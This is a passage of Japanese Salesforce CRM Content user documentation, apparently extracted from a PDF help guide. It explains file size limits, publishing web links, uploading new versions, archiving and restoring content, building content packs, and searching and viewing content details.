• Salesforce CRM Content のコンテンツパックの作成および変更

関連トピック:

コンテンツのバージョンの更新
コンテンツ配信の作成

Salesforce CRM Content のファイルサイズ制限

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce CRM Content のファイルの最大ファイルサイズ制限は次のとおりです。
• 2 GB

• Chatter REST API によるアップロード時: 2 GB (ヘッダーを含む)

• REST API によるアップロード時: 2 GB (ヘッダーを含む)

• SOAP API によるアップロード時: 38 MB

• Bulk API によるアップロード時: 10 MB

• Google ドキュメント: 10 MB

• Visualforce によるアップロード時: 10 MB

関連トピック:

Salesforce のファイルサイズ制限
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Salesforce CRM Content への Web リンクの寄稿

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce CRM Content に
Web リンクを公開する
• ライブラリ権限定義の

「ライブラリの管理」

または

ライブラリ権限定義の
「コンテンツの追加」

Salesforce CRM Contentに Web リンクを分類して公開する手順は、次のとおりです。
1. [ライブラリ] タブをクリックします。
2. 新規のリンクを追加するには、[寄稿] > [Web サイトリンクの作成はこちら]

をクリックし、URL を入力してから [寄稿] をクリックします。すでに非公開
ライブラリにあるリンクを公開するには、[私の非公開ファイル]タブをクリッ
クし、リンクを指定して [公開] をクリックします。

3. Web リンクにタイトルと説明を入力します。
4. ライブラリを選択します。これが管理 (ホーム) ライブラリとなります。Web

リンクを他のライブラリと共有することはできますが、コンテンツ詳細ペー
ジを編集できるのは、管理ライブラリで適切な権限を持つユーザのみです。
組織内の他のユーザがリンクを参照できないようにするには、[私の非公開ラ
イブラリに保存] を選択します。

5. 必要に応じて、言語を選択します。この [言語] ドロップダウンリストは、
複数言語のサポートが有効である場合にのみ表示されます。言語を選択しな
い場合、Salesforce ではコンテンツを公開者の言語設定と関連付けます。ユー
ザがコンテンツの検索対象を特定言語に制限した場合は、その言語と関連付
けられているコンテンツのみが検索結果に表示されます。

6. 別の著者に代わってコンテンツを公開する場合は、ドロップダウンリストか
らその著者を選択します。

7. コンテンツにタグを付けます。タギング権限は、ライブラリに割り当てられ
ているタギングルールによって異なります。
• ライブラリにタギングルールがない場合や、管理者がオープンタギングルールを割り当てた場合は、

[タグ] 項目にタグを入力できます。タグを入力すると、Salesforce CRM Content によって、[私の最近のタ
グ] リストと、[ライブラリ] タブの [人気のあるタグ] セクションに基づいてタグのオートコンプリート機
能が実行されます。[寄稿] ウィンドウの [私の最近のタグ] リストに、最近使用した 20 個のタグが表示さ
れます。タグをクリックすると、そのタグが [タグ] 項目に自動的に追加されます。

• 管理者が、ガイド付きタギングルールを割り当てた場合は、推奨タグのリストから選択することも、新
しいタグを入力することもできます。推奨タグをクリックすると、そのタグが [タグ] 項目に自動的に
追加されます。

• 管理者が制限付きタギングルールを割り当てた場合は、推奨タグのリストから選択する必要がありま
す。タグを選択すると、そのタグが緑色に変わります。

• タグ名の変更も削除もできません。ドキュメントからタグを除外できますが、タグは削除されません。
• タグでは、大文字小文字は区別されません。大文字と小文字が異なる場合でも、2 つのタグに同じ名前

を付けることはできません。元のタグの大文字・小文字が常に使用されます。

8. 複数のレコードタイプが使用できる場合は、ドロップダウンリストから 1 つ選択します。レコードタイプ
によって、コンテンツを分類および定義するために表示されるカスタム項目が決まります。
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9. カスタム項目への入力が完了したら、[公開] または [保存] をクリックします。

関連トピック:

ライブラリの管理

コンテンツのバージョンの更新

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

新バージョンを追加する
• ライブラリ権限定義の

「コンテンツの追加」

Salesforce CRM Content でファイル名をクリックすると、コンテンツ詳細ページが
表示されます。

新バージョンの公開
ファイルの新バージョンを公開してそのプロパティを更新する手順は、次のと
おりです。
1. [編集] > [新しいバージョンをアップロード]をクリックします。このオプショ

ンは、Web リンク、コンテンツパックまたはGoogleドキュメントでは表示さ
れません。
コンテンツパックのファイルを追加または削除するには、「Salesforce CRM

Content のコンテンツパックの作成および変更」を参照してください。

2. 更新されたファイルを検索して選択するには、[参照] をクリックします。
3. 必要に応じて、[タイトル] および [説明] 項目を更新します。
4. [変更理由]項目に入力します。変更理由は、登録者に送信されるメール通知

に記載され、またコンテンツ詳細ページのバージョンリストに表示されま
す。

5. 別の著者に代わってコンテンツを公開する場合は、ドロップダウンリストか
らその著者を選択します。

6. コンテンツにタグを付けます。タギング権限は、ライブラリに割り当てられているタギングルールによっ
て異なります。
• ライブラリにタギングルールがない場合や、管理者がオープンタギングルールを割り当てた場合は、

[タグ] 項目にタグを入力できます。タグを入力すると、Salesforce CRM Content によって、[私の最近のタ
グ] リストと、[ライブラリ] タブの [人気のあるタグ] セクションに基づいてタグのオートコンプリート機
能が実行されます。[寄稿] ウィンドウの [私の最近のタグ] リストに、最近使用した 20 個のタグが表示さ
れます。タグをクリックすると、そのタグが [タグ] 項目に自動的に追加されます。

• 管理者が、ガイド付きタギングルールを割り当てた場合は、推奨タグのリストから選択することも、新
しいタグを入力することもできます。推奨タグをクリックすると、そのタグが [タグ] 項目に自動的に
追加されます。

• 管理者が制限付きタギングルールを割り当てた場合は、推奨タグのリストから選択する必要がありま
す。タグを選択すると、そのタグが緑色に変わります。

• タグ名の変更も削除もできません。ドキュメントからタグを除外できますが、タグは削除されません。
• タグでは、大文字小文字は区別されません。大文字と小文字が異なる場合でも、2 つのタグに同じ名前

を付けることはできません。元のタグの大文字・小文字が常に使用されます。

3838

ファイルの作成、共有、および整理すべてのユーザとのコラボレーション



7. 必要に応じて、カスタム項目を更新します。
8. [公開] をクリックします。

コンテンツバージョンに関するメモ
新バージョンを作成または編集するときは、次の点に留意してください。
• Salesforce CRM Content 内でファイルを編集することはできません。ファイルを編集するには、Salesforce CRM

Contentから自分のコンピュータにファイルをダウンロードし、変更した上で、[新しいバージョンをアップ
ロード] ボタンを使用して、更新したバージョンをアップロードします。

• コンテンツの詳細ページの [バージョン] サブタブに、すべてのバージョンのコンテンツが表示されます。
また、[ライブラリ] タブの [最近の活動] リストでも、新しいバージョンのコンテンツを確認できます。

• Contact Manager Edition、Group Edition、Professional Edition、Enterprise Edition、Unlimited Edition、および Performance

Edition を使用するお客様は、24 時間につき最大で 36,000 件の新しいバージョンを公開できます。Developer

Edition とトライアル版のお客様は、24 時間につき最大で 2,500 件の新しいバージョンを公開できます。

関連トピック:

コンテンツのアップロードと公開
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コンテンツの削除、アーカイブ、および復元

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ライブラリのコンテンツ
をアーカイブおよび復元
する
• ライブラリ権限定義の

「コンテンツのアーカ
イブ」

公開したコンテンツを
アーカイブおよび復元す
る
• ライブラリ権限定義の

「コンテンツの追加」

コンテンツを削除する
• ライブラリ権限定義の

「コンテンツの削除」

ライブラリからコンテンツを削除する方法として、アーカイブと削除の 2 種類
があります。
アーカイブでは、ファイルをライブラリに入れたり検索結果で表示することな
く、Salesforce に保存し続けることができます。ファイルの削除では、ファイル
が[ごみ箱]に移動されて 15 日間保持されてから、自動的に完全に削除されます。
ファイルの削除後 15 日以内は、[ごみ箱] から復元することができます。アーカ
イブされたファイルも復元できます。
コンテンツを削除またはアーカイブする前に、この 2 つの方法の類似点と相違
点を把握することが重要です。

削除された
コンテンツ

アーカイブ
されたコン

テンツ

コンテンツのアーカイブまたは削除の影響

ファイルストレージ制限 (ストレージサイズおよ
びドキュメント数) の対象

ライブラリからの削除

新しいバージョンのアップロード不可

コンテンツのダウンロード不可 (復元するまで)

検索結果でコンテンツが非表示

コンテンツを復元可能

登録リストからの自動削除 (登録者への通知なし)

ごみ箱を空にすることで完全に削除

コンテンツファイルをアーカイブまたは削除する手順は、次のとおりです。
1. [ライブラリ]、[内容]、または [登録] タブで、削除するファイルの名前をク

リックします。
2. [コンテンツの詳細] ページで、[編集] > [コンテンツのアーカイブ] または [編集] > [コンテンツの削除] をク

リックします。
コンテンツパックに含まれるファイルを削除する手順は、次のとおりです。
• デフォルトでは、まずコンテンツパックを削除してからファイルを削除する必要があります。
• システム管理者がコンテンツパックからファイルを削除できるように Salesforce CRM Content 設定を有効にし

た場合、最初にコンテンツパックからファイルを削除しなくてもファイルを削除できます。これにより、
非公開ライブラリのコンテンツパックなど、アクセス権のないコンテンツパックを含むすべてのコンテン
ツパックからそのファイルのすべてのバージョンが削除されます。

アーカイブされたコンテンツファイルを復元する手順は、次のとおりです。
1. 次のいずれかの方法を使用して、アーカイブされたファイルの [コンテンツの詳細] ページを開きます。
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アーカイブされたコンテンツへのブックマークをたどります。•

• [ライブラリ]タブで、ライブラリ名をクリックして [ライブラリの詳細]ページを開きます。[アーカイブ
されたコンテンツの参照]リンクをクリックすると、アーカイブされているコンテンツの一覧が[コンテ
ンツ] タブに表示されます。復元するコンテンツファイルの名前をクリックします。

メモ: [アーカイブされたコンテンツの参照] リンクは、ライブラリ権限の [コンテンツのアーカイ
ブ]、[コンテンツの追加]、または[ライブラリの管理] 権限オプションが設定されている場合にの
み表示されます。[コンテンツのアーカイブ] または [ライブラリの管理] 権限オプションが設定さ
れている場合は、著者かどうかに関係なく、アーカイブされているすべてのコンテンツがライブラ
リに表示されます。これらの権限オプションがなく、[コンテンツの追加] 権限オプションが設定
されている場合は、自分が作成およびアーカイブしたアーカイブ済みのコンテンツのみが表示され
ます。

2. [コンテンツの詳細] ページで、[編集] > [コンテンツの復元] をクリックします。
削除されたコンテンツを復元する手順は、次のとおりです。
1. [ライブラリ] タブ、[登録] タブ、または [コンテンツの詳細] ページで、[ごみ箱] に移動します。
2. 復元するコンテンツファイルのチェックボックスをオンにし、[復元] をクリックします。

メモ:

• 著者は自分のコンテンツをいつでもアーカイブおよび復元できます。著者には、「コンテンツのアー
カイブ」ライブラリ権限オプションは不要です。

• ファイルが Salesforce CRM Content 内にあり、Chatter にも投稿されている場合、アーカイブしても Chatter

の投稿は削除されません。
• コンテンツの詳細ページから Chatter ファイルを削除すると、Salesforce CRM Content および Chatter からそ

のファイルが削除されます。

関連トピック:

ファイル詳細ページからのファイルの削除
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Salesforce CRM Content のコンテンツパックの作成および変更

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce CRM Content の
コンテンツパックを作成
および変更する
• ライブラリ権限定義の

「ライブラリの管理」

または

ライブラリ権限定義の
「コンテンツの追加」

コンテンツパックとは、Salesforce CRM Content 内のグループとして格納された関
連するドキュメントまたはファイルの集合のことです。たとえば、商品品目、
見積書、契約を含むコンテンツパックを作成し、特定の顧客に送信することが
できます。コンテンツパックには、Microsoft PowerPoint® プレゼンテーションや
Adobe® PDF ファイルなどの従来のビジネス文書から、オーディオファイル、動画
ファイル、および Google ドキュメントまで、Salesforce CRM Content 内のあらゆる
ファイルを追加できます。コンテンツパックは、メールやインスタントメッセー
ジを使用して、組織内の同僚や組織外のリードおよび取引先責任者に配布でき
ます。コンテンツ配信の受信者は、1 つの URL をクリックすることによって、プ
レビュープレーヤーを起動し、コンテンツをプレビューおよびダウンロードで
きます。配信者は、追跡情報を表示して、コンテンツパックが表示された回数
やダウンロードされたドキュメントを確認できます。

メモ: コンテンツパックは、すべての種類のファイルをサポートしていま
すが、コンテンツ配信 URL によって起動されるプレビュープレーヤーで表
示できるファイルの種類は、PowerPoint、Word、Excel、PDF のいずれかに限
定されます。プレビュープレーヤーでは、著作権で保護されている PDF ファ
イルは表示できません。また、コンテンツパックを操作するには、Adobe

Flash® Player バージョン 9.0.11.5 以上が必要です。Flash がインストールされて
いない場合、Salesforce では、無料で Flash をダウンロードできる Adobe Web

サイトへのリンクを表示します。
コンテンツパックに対して実行できる操作は次のとおりです。
1. コンテンツパックを作成、カスタマイズ、または変更する場合は、操作に応

じて次のいずれかのオプションを使用します。

メモ: 次のオプションは、[設定] の Salesforce CRM Content ページで [コンテンツパック作成を有効化] を
選択した場合にのみ有効です。パックを作成した後にコンテンツパック作成を無効にすると、Salesforce

ではパックを削除されませんが、カスタマイズや編集はできなくなります。
• 新規のコンテンツパックを作成するには、[ライブラリ]タブをクリックし、[新規作成] > [コンテンツパッ

ク] を選択します。
• 既存のパックをコピーし、ファイルの追加、削除、または並び替えを行って新しいコンテンツパックを

作成するには、そのパックのコンテンツ詳細ページを開き、[コピーとカスタマイズ] をクリックしま
す。

• コンテンツパックを更新して新規バージョンを公開するには、そのコンテンツパックのコンテンツ詳細
ページを開いて、[編集] > [コンテンツパックの編集] をクリックします。

2. [ファイルの検索] をクリックして、ライブラリ内のすべてのコンテンツを表示します。検索結果を絞り込
むには、検索対象のライブラリを選択するか、検索語をテキストボックスに入力します。
検索結果には、ファイルとドキュメントに加えて、コンテンツパックも表示されます。

3. 検索結果から、ウィンドウの下半分にあるアセンブリセクションに、使用するコンテンツをドラッグしま
す。コンテンツパックの作成には、次のオプションが役立ちます。
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検索結果で、ドキュメントをクリックすると、ウィンドウの下半分にドキュメントがプレビュー表示さ
れます。必要に応じて、[コンテンツパックに追加] または [プレビューを非表示] を選択してください。

•

• 検索結果で、ドキュメント上にマウスを置き、フォルダアイコン ( ) をクリックすると、そのドキュメ
ントを使用しているコンテンツパックが表示されます。

• 検索結果で、コンテンツパック上にマウスを置き、フォルダアイコン ( ) をクリックすると、そのパッ
クに含まれるドキュメントがすべて表示されます。

• アセンブリセクションで、ドキュメント上にマウスを置き、ごみ箱アイコン ( ) をクリックすると、作
成中のコンテンツパックからそのドキュメントが削除されます。

• 変更内容を随時、元に戻すには、[クリア]をクリックします。[ライブラリ] タブに戻るには、[キャンセ
ル] をクリックします。

メモ: コンテンツパックに含めることのできるファイルの最大数は 50 です。

4. コンテンツパックの作成または変更が終了したら、[保存] をクリックして、コンテンツパックに名前を付
けるか、名前を変更します。

5. [コンテンツの保存または公開] ダイアログで、次の操作を実行します。
a. ライブラリを選択します。組織内の他のユーザがコンテンツパックを参照できないようにする (コンテ

ンツパックがまだ作成中である場合など) には、[私の個人用ライブラリに保存] を選択します。
b. 必要に応じて、コンテンツパックの説明を追加または変更します。
c. 必要に応じて、言語を選択します。この [言語] ドロップダウンリストは、複数言語のサポートが有効

である場合にのみ表示されます。言語を選択しない場合、Salesforce ではコンテンツを公開者の言語設定
と関連付けます。ユーザがコンテンツの検索対象を特定言語に制限した場合は、その言語と関連付けら
れているコンテンツのみが検索結果に表示されます。

d. コンテンツパックを変更する場合は、[変更理由] 項目に入力します。
e. 別の著者に代わってコンテンツを公開する場合は、ドロップダウンリストからその著者を選択します。
f. コンテンツにタグを付けます。タギング権限は、ライブラリに割り当てられているタギングルールに

よって異なります。
• ライブラリにタギングルールがない場合や、管理者がオープンタギングルールを割り当てた場合は、

[タグ]項目にタグを入力できます。タグを入力すると、Salesforce CRM Contentによって、[私の最近の
タグ] リストと、[ライブラリ] タブの [人気のあるタグ] セクションに基づいてタグのオートコンプリー
ト機能が実行されます。[寄稿] ウィンドウの [私の最近のタグ] リストに、最近使用した 20 個のタグ
が表示されます。タグをクリックすると、そのタグが [タグ] 項目に自動的に追加されます。

• 管理者が、ガイド付きタギングルールを割り当てた場合は、推奨タグのリストから選択することも、
新しいタグを入力することもできます。推奨タグをクリックすると、そのタグが [タグ]項目に自動
的に追加されます。

• 管理者が制限付きタギングルールを割り当てた場合は、推奨タグのリストから選択する必要があり
ます。タグを選択すると、そのタグが緑色に変わります。

• タグ名の変更も削除もできません。ドキュメントからタグを除外できますが、タグは削除されませ
ん。

• タグでは、大文字小文字は区別されません。大文字と小文字が異なる場合でも、2 つのタグに同じ名
前を付けることはできません。元のタグの大文字・小文字が常に使用されます。
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g. 複数のレコードタイプが使用できる場合は、ドロップダウンリストから 1 つ選択します。レコードタイ
プによって、コンテンツを分類および定義するために表示されるカスタム項目が決まります。

h. [公開] をクリックします。その後、コンテンツ詳細ページを表示できます。[ライブラリ] タブに戻った
り、別のファイルを公開したりすることもできます。

関連トピック:

コンテンツ配信の表示と編集

コンテンツの検索

Salesforce CRM Content 関連先レコードの検索

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce CRM Content に
アクセスする
• 個人情報の

[Salesforce CRM

Content ユーザ]

および

ライブラリのメンバー

リード、取引先、取引先責任者、商談、商品、ケース、またはカスタムオブジェ
クトに関連するコンテンツファイルは、それらのレコードの関連リストを使用
してすばやく検索できます。
組織で Salesforce CRM Content を有効にしている場合は、リード、取引先、取引先
責任者、商談、ケース、商品、またはカスタムオブジェクトの詳細ページで
Salesforce CRM Content機能を活用できます。[関連コンテンツ] 関連リストを使用し
て、ファイル、コンテンツパック、Web リンク、または Google ドキュメントを
検索し、それらをレコードに添付できます。ファイルを添付すると、そのファ
イルが削除されない限り、レコードが存在する間は最新バージョンが使用でき
ます。

メモ: システム管理者によって対応するページレイアウトに追加された [関
連コンテンツ]および [コンテンツ配信]関連リストは、レコードでのみ使用
できます。

[関連コンテンツ] 関連リストでは、次の操作を実行できます。
• コンテンツのタイトルをクリックしてコンテンツの詳細ページを開くと、コ

ンテンツへのコメント記入や投票、ファイルのダウンロード、Web ページや
Googleドキュメントの表示、および登録 (コンテンツ、著者、タグ、ライブラ
リ) など、いくつかの作業を実行できます。詳細は、「コンテンツの詳細の
表示と編集」を参照してください。

• レコードからコンテンツを削除するには、コンテンツの横にある [削除]をク
リックします。この操作によって Salesforce CRM Contentライブラリからコンテ
ンツが削除されるわけではありません。

• 組織のコンテンツ配信が有効化されている場合、[コンテンツの配信] をクリックしてコンテンツ配信を作
成します。コンテンツ配信を使用すると、Microsoft® PowerPoint ファイルや Word ファイルなどのドキュメン
トを、簡単にオンライン表示できるように最適化された Web ベースバージョンに簡単に変換できます。コ
ンテンツ配信を作成したら、リード、お客様、パートナー、および同僚など、任意の受信者に暗号化され
た URL 送信して、そのコンテンツが参照またはダウンロードされた回数を追跡できます。コンテンツ配信
は、Salesforce Classicのみで使用できます。ただし Lightning メールは、コンテンツ配信機能にアクセスできる
Lightning Experienceユーザに対するメールの添付ファイルとして配信ベースのリンクを生成します。詳細は、
「コンテンツ配信の作成」を参照してください。
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• 関連コンテンツを検索する手順は、次のとおりです。
1. [コンテンツの検索] または [すべて検索] をクリックします。いずれの場合も、Salesforce CRM Content は、

アクセス権限を持つライブラリ内を検索します。[すべて検索]をクリックすると、ライブラリのすべて
のコンテンツが検索結果として表示されます。[コンテンツの検索] による検索の場合は、そのレコード
と関連のあるコンテンツが検索結果として表示されます。Salesforce CRM Contentは、次の項目に一致する
テキストまたは属性を含むコンテンツを検索します。
– 商談では、[商談名]、[取引先名]、およびすべての競合会社と商品
– 取引先では、[取引先名] と [業種]

– ケースでは、[原因]、[件名]、[取引先名]、および [業種]

– リードでは、[名前]、[会社名]、[業種]、および [タイトル]

メモ: カスタムオブジェクトの場合、[コンテンツの検索] をクリックすると、ドキュメントのテキ
ストまたは属性に完全なカスタムオブジェクト名を指定する検索結果を返します。この基準を満た
すコンテンツがない場合、検索結果は空となり、[すべて検索] による検索を代わりに使用する必要
があります。

2. 検索結果ページで、検索語句を入力するかサイドバーから検索条件を選択して、必要に応じて検索結果
を絞り込みます。

3. レコードに添付するファイルの [添付] をクリックします。
4. 詳細ページに戻るには、[戻る] リンクをクリックします。
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コンテンツの検索

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce CRM Content を
検索する
• 個人情報の

[Salesforce CRM

Content ユーザ]

および

ライブラリのメンバー

[コンテンツ] タブには、Salesforce CRM Contentライブラリに公開されているファイ
ル、コンテンツパック、Web リンク、および Google ドキュメントが表示されま
す。Chatter が有効で、システム管理者が Salesforce CRM Content に Salesforce Files を
表示する設定を有効にしている場合、Chatter グループに投稿されたファイル、
および非公開でも非公開共有でもないその他のファイルは、[コンテンツ] タブに
も表示されます。デフォルトでは、最近編集した 20 個のアイテムが表示されま
す。[結果の絞り込み] サイドバーを使用してリストを絞り込むことができます。
特定のコンテンツを検索する手順は、次のとおりです。
1. [検索] ドロップダウンリストで、特定のライブラリに検索対象を制限するか、

すべてのライブラリを検索するかを指定します。可能ならば、検索対象を
Salesforce Files のみか、自分がメンバーになっている Chatter グループのファイ
ルのみに制限してください。

ヒント: コンテンツが表示される場所をすべて表示するには、[表示オプ
ション] をクリックし、[場所を表示] を選択します。各タイトルの下に
場所が表示されます。

2. 検索語句を入力して、[Go!]をクリックします。Salesforce CRM Contentは、ライ
ブラリ内のドキュメントの種類が、リッチテキスト形式 (RTF)、UTF-8 エンコー
ド TXT、HTML、XML、Adobe® PDF、および Microsoft® Office 97 から Microsoft Office

2007 までの Word、Excel、および PowerPoint ファイルの場合に、全文検索を行
います。

3. 管理者が複数言語のサポートを有効にした場合は、検索対象を特定の言語に
制限できます。デフォルトでは、Salesforce CRM Content はデフォルトユーザ言
語で公開されているライブラリ内のすべてのコンテンツを検索します。すべての言語での検索でも、すべ
ての言語のコンテンツのタイトル、著者名、タグ、ファイル拡張子、およびカスタム項目を検索します。

メモ: すべての言語での検索では、デフォルトユーザ言語以外の言語で公開されたテキストまたはド
キュメントの説明は検索しません。

4. 必要に応じて、[結果の絞り込み] サイドバーで、ファイル形式、主要コンテンツ、著者、タグ、ライブラ
リ、言語、カスタム項目、または Chatter グループ (使用可能な場合) によって検索結果を絞り込みます。条
件種別の横にある括弧内の数字は、検索結果に含まれている一致ファイル、コンテンツパック、Web リン
ク、および Google ドキュメントの数を表します。

[コンテンツ] タブには、次のオプションがあります。
• [表示オプション] をクリックすると、各種コンテンツ条件に応じて並べ替え可能な列 ([サイズ] や [公開日]

など) を追加したり、表示する説明、タグ、場所を選択したりして、ビューをカスタマイズできます。[場
所を表示] により、コンテンツが表示されるライブラリと Chatter グループが表示されます。[私のライブラ
リ: なし] または [私の Chatter グループ: なし] は、ファイルが Salesforce ファイルで、どのライブラリにも
Chatter グループにも含まれていないことを意味します。ダウンロード、コメント、評価、および登録者を
表す「スマートバー」グラフィックで、検索結果内のファイル、コンテンツパック、Googleドキュメント、
およびリンクを比較できます。
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メモ: Chatter が有効で、システム管理者が Salesforce CRM Content にファイルを表示する設定を有効にし
ている場合は、Chatter グループは [場所を表示] にのみ含まれます。

• ファイルを 1 個以上選択して [ダウンロード] をクリックすると、選択したコンテンツの zip ファイルが作成
されます。リンクおよび Google ドキュメントを zip ファイルに含めることはできません。

• ファイルアイコンの上にマウスを置くと、特定のファイル、コンテンツパック、Google ドキュメント、ま
たは Web リンクとその登録、投票、ダウンロードなどのオプションのスナップショット情報が表示されま
す。

• ファイル名の横にある登録アイコンをクリックすると、登録のオン/オフが切り替わります。詳細は、「コ
ンテンツ登録の表示と編集」を参照してください。

• ファイル名をクリックすると、コンテンツ詳細ページが表示されます。コンテンツの詳細ページには、ファ
イル、コンテンツパック、Google ドキュメント、またはリンクに関する取得可能なすべての情報が表示さ
れます。詳細は、「コンテンツの詳細の表示と編集」を参照してください。

検索では、複数のファイルの種類がサポートされ、ファイルサイズに制限があります。ファイルが最大サイズ
を超える場合、そのファイル内のテキストは検索されませんが、ファイルの著者名、タグ、ファイル拡張子、
およびカスタム項目は検索されます。

検索の最大ファイルサイズファイル拡張子ファイルの種類

5 MB.htm、.html、.xhtmlHTML

25 MB.pdfPDF

25 MB.ppt、.pptx、.pptmPPT

5 MB.rtfRTF

5 MB.c、.cpp、.css、.csv、.ini、.java、.log、.sql、.txtテキスト
25 MB.doc、.docx、.docmWord

5 MB.xls、.xlsx、.xlsmXLS

5 MB.xmlXML

関連トピック:

ファイルの検索
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コンテンツの詳細の表示と編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ライブラリのメンバー共有コンテンツをプレビューおよびダウ
ンロードする

なし非公開のコンテンツをプレビューおよび
ダウンロードする

ライブラリ権限定義の「コンテンツの追
加」

新バージョンをアップロードする

ライブラリ権限定義の「コンテンツの
アーカイブ」

または

コンテンツの著者

コンテンツをアーカイブおよび復元する

ライブラリ権限定義の「コンテンツの削
除」

コンテンツを完全に削除する

ライブラリ権限定義の「コメントの変
更」

コメントを参照および編集する

ライブラリ権限定義の「コメントの削
除」

コメントを削除する

ライブラリ権限定義の「タグの追加」コンテンツにタグを付ける

ライブラリ権限定義の「主要コンテン
ツ」

主要コンテンツとしてマークする

ライブラリ権限定義の「コンテンツの配
信」

共有ライブラリからコンテンツを配信す
る

ライブラリ権限定義の「アップロード済
みファイルおよび個人コンテンツの配
信」

個人ライブラリからコンテンツを配信す
る

ライブラリ権限定義の「コンテンツを
Chatter フィードに投稿」

ライブラリから Chatter フィードにコン
テンツを投稿する

[ライブラリ]、[コンテンツ]、または [登録] タブでファイル名をクリックすると、コンテンツ詳細ページが開き
ます。このページは、コンテンツをプレビューして、Salesforce CRM Content にある特定のファイル、Web リン
ク、コンテンツパック、またはGoogleドキュメントに関する情報を収集するための、中心となるアクセスポイ
ントです。Summer '10 リリース以降は、組織で Chatter が有効な場合は、Chatter に投稿されたファイルも表示さ
れます。
[プレビュー] タブは、ファイルの種類が次のいずれかである場合に表示されます。
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• Microsoft® Office 97 から Microsoft Office 2007 までの Word、Excel、および PowerPoint。Microsoft Office 2007 機能の一
部はプレビューでは正しく表示されません。

• Adobe® PDF。著作権で保護されている PDF はプレビューできません。
• JPG、BMP、GIF、および PNG。
コンテンツ詳細ページでは、現在参照しているコンテンツの種類やライブラリ権限、コンテンツが公開ライブ
ラリにあるか非公開ライブラリにあるか、またはChatterからのものかに応じて、次のオプションを使用できる
可能性があります。
• ファイル、Web リンク、コンテンツパックまたは Google ドキュメントに投票するには、上向きまたは下向

きの親指アイコンをクリックします。投票内容を変更するには、反対のアイコンをクリックします。投票
後、[ライブラリ] タブの [最近の活動] タブに、自分がそのコンテンツを気に入ったかどうかが表示されま
す。

• [コンテンツの配信]をクリックして、コンテンツ配信を作成します。[コンテンツの配信] > [コンテンツ配信
の表示] をクリックして、コンテンツに関連付けられた配信のリストを表示します。

• Web リンクまたはGoogleドキュメントの場合は、[開く]ボタンをクリックすると、Web ページが別ウィンド
ウで開きます。ファイルの場合は、[ダウンロード] ボタンをクリックすると、ファイルが開くか保存され
ます。

• [登録] または [登録済み] をクリックすると、登録のオン/オフが切り替わります。
• ファイルの場合、[コンテンツパック] サブタブをクリックして、このファイルが含まれるコンテンツパッ

クを確認します。
– ライブラリ管理者は、[すべて削除] をクリックして、このファイルを、含まれるすべてのコンテンツ

パックから削除できます。
– ファイルが含まれるコンテンツパックの詳細を表示するには、コンテンツパックの名前をクリックしま

す。
• コンテンツパックでは、[コピーとカスタマイズ] をクリックし、ファイルおよびスライドを追加または削

除して新規パックを作成します。Salesforce CRM Content では、カスタマイズしたパックを、コピーしたパッ
クのバージョンではなく、新しいコンテンツとして保存または公開します。

• 標準項目およびカスタム項目を編集するには、[編集] > [コンテンツの詳細を編集] をクリックします。
• ファイルを追加または削除して新しいバージョンのコンテンツパックを作成するには、[編集] > [コンテン

ツパックの編集] をクリックします。
• ファイルの場合、新しいバージョンにファイルを置き換えるには、[編集] > [新しいバージョンをアップロー

ド] をクリックします。Web リンク、コンテンツパックまたは Google ドキュメントには、バージョンオプ
ションはありません。

メモ: [新しいバージョンの追加]ボタンがグレー表示になっている場合は、組織で許可されているファ
イルストレージ容量を超えているため新しいコンテンツをアップロードできません。

• [編集] > [コンテンツのアーカイブ] ボタンをクリックすると、ファイル、Web リンク、コンテンツパックま
たは Google ドキュメントがライブラリから削除されます。著者は、ライブラリ権限に関係なく自分のコン
テンツをアーカイブおよび復元できます。ファイルが Salesforce CRM Content 内にあり、Chatter にも投稿され
ている場合、アーカイブしても Chatter の投稿は削除されません。

• [編集] > [コンテンツの削除] をクリックすると、ファイル、Web リンク、コンテンツパック、または Google

ドキュメントが Salesforce CRM Content から削除され、ごみ箱に移動します。著者は、ライブラリ権限に関係
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なく自分のコンテンツを削除および復元できます。Google ドキュメントを削除すると、ドキュメントと
Salesforce CRM Content との関連付けは削除されますが、Google Apps 内のドキュメントは削除されません。コ
ンテンツパックまたはコンテンツ配信に含まれるファイルを削除することはできません。コンテンツの詳
細ページから Chatter ファイルを削除すると、Salesforce CRM Content および Chatter からそのファイルが削除さ
れます。

• [編集] > [ライブラリアクション] ボタンをクリックし、[別ライブラリに移動] を選択すると、そのコンテン
ツが別の管理 (ホーム) ライブラリに移動します。[別のライブラリと共有] を選択すると、管理ライブラリ
を変更することなくコンテンツを共有するライブラリを追加できます。コンテンツを別のライブラリと共
有またはリンクすることにより、それらのライブラリのメンバーが、そのコンテンツを見つけられるよう
になります。管理ライブラリと共有ライブラリのタギングルールが異なる場合は、最も制限の厳しいタギ
ングルールが適用されます。コンテンツが共有されているライブラリからコンテンツを削除する場合は、
[ライブラリから削除] をクリックします。このオプションによって管理ライブラリからコンテンツが削除
されるわけではありません。

• コメントを参照、追加、編集、または削除するには、[コメント] サブタブをクリックします。
